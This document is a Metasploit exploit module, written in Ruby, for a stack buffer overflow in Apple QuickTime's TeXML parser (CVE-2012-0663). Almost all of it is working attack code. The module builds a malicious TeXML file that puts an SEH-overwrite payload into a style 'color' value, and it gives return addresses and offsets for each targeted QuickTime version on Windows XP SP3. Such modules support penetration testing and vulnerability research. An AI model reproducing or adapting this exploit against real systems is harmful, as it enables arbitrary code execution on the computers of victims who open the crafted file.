Apple QuickTime TeXML Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apple QuickTime TeXML Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability found in Apple QuickTime. When handling  
a TeXML file, it is possible to trigger a stack-based buffer overflow, and then  
gain arbitrary code execution under the context of the user. The flaw is  
generally known as a bug while processing the 'transform' attribute, however,  
that attack vector seems to only cause a TerminateProcess call due to a corrupt  
stack cookie, and more data will only trigger a warning about the malformed XML  
file. This module exploits the 'color' value instead, which accomplishes the same  
thing.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Alexander Gavrun', # Vulnerability Discovery  
'sinn3r', # Metasploit Module  
'juan vazquez' # Metasploit Module  
],  
'References' =>  
[  
[ 'OSVDB', '81934' ],  
[ 'CVE', '2012-0663' ],  
[ 'BID', '53571' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-095/' ],  
[ 'URL', 'http://support.apple.com/kb/HT1222' ]  
],  
'Payload' =>  
{  
'DisableNops' => true,  
'BadChars' => "\x00\x23\x25\x3c\x3e\x7d"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'QuickTime 7.7.1 on Windows XP SP3',  
{  
'Ret' => 0x66f1bdf8, # POP ESI/POP EDI/RET from QuickTime.qts (7.71.80.42)  
'Offset' => 643,  
'Max' => 13508  
}  
],  
[ 'QuickTime 7.7.0 on Windows XP SP3',  
{  
'Ret' => 0x66F1BD66, # PPR from QuickTime.qts (7.70.80.34)  
'Offset' => 643,  
'Max' => 13508  
}  
],  
[ 'QuickTime 7.6.9 on Windows XP SP3',  
{  
'Ret' => 0x66801042, # PPR from QuickTime.qts (7.69.80.9)  
'Offset' => 643,  
'Max' => 13508  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'May 15 2012'))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xml']),  
], self.class)  
end  
  
def exploit  
my_payload = rand_text(target['Offset'])  
my_payload << generate_seh_record(target.ret)  
my_payload << payload.encoded  
my_payload << rand_text(target['Max'] - my_payload.length)  
  
texml = <<-eos  
<?xml version="1.0"?>  
<?quicktime type="application/x-quicktime-texml"?>  
  
<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"  
language="eng" timeScale="600"  
transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">  
<sample duration="2400" keyframe="true">  
  
<description format="tx3g" displayFlags="ScrollIn"  
horizontalJustification="Left"  
verticalJustification="Top"  
backgroundColor="0%, 0%, 0%, 100%">  
  
<defaultTextBox x="0" y="0" width="176" height="60"/>  
<fontTable>  
<font id="1" name="Times"/>  
</fontTable>  
  
<sharedStyles>  
<style id="1">  
{font-table: 1} {font-size: 10}  
{font-style:normal}  
{font-weight: normal}  
{color: #{my_payload}%, 100%, 100%, 100%}  
</style>  
</sharedStyles>  
</description>  
  
<sampleData scrollDelay="200"  
highlightColor="25%, 45%, 65%, 100%"  
targetEncoding="utf8">  
  
<textBox x="10" y="10" width="156" height="40"/>  
<text styleID="1">What you need... Metasploit!</text>  
<highlight startMarker="1" endMarker="2"/>  
<blink startMarker="3" endMarker="4"/>  
</sampleData>  
</sample>  
</text3GTrack>  
eos  
  
texml = texml.gsub(/^\t\t/,'')  
  
print_status("Creating '#{datastore['FILENAME']}'.")  
file_create(texml)  
end  
  
end  
`